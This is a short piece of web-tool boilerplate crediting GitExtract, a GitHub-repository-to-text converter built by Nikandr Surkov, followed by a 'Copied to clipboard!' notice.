Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!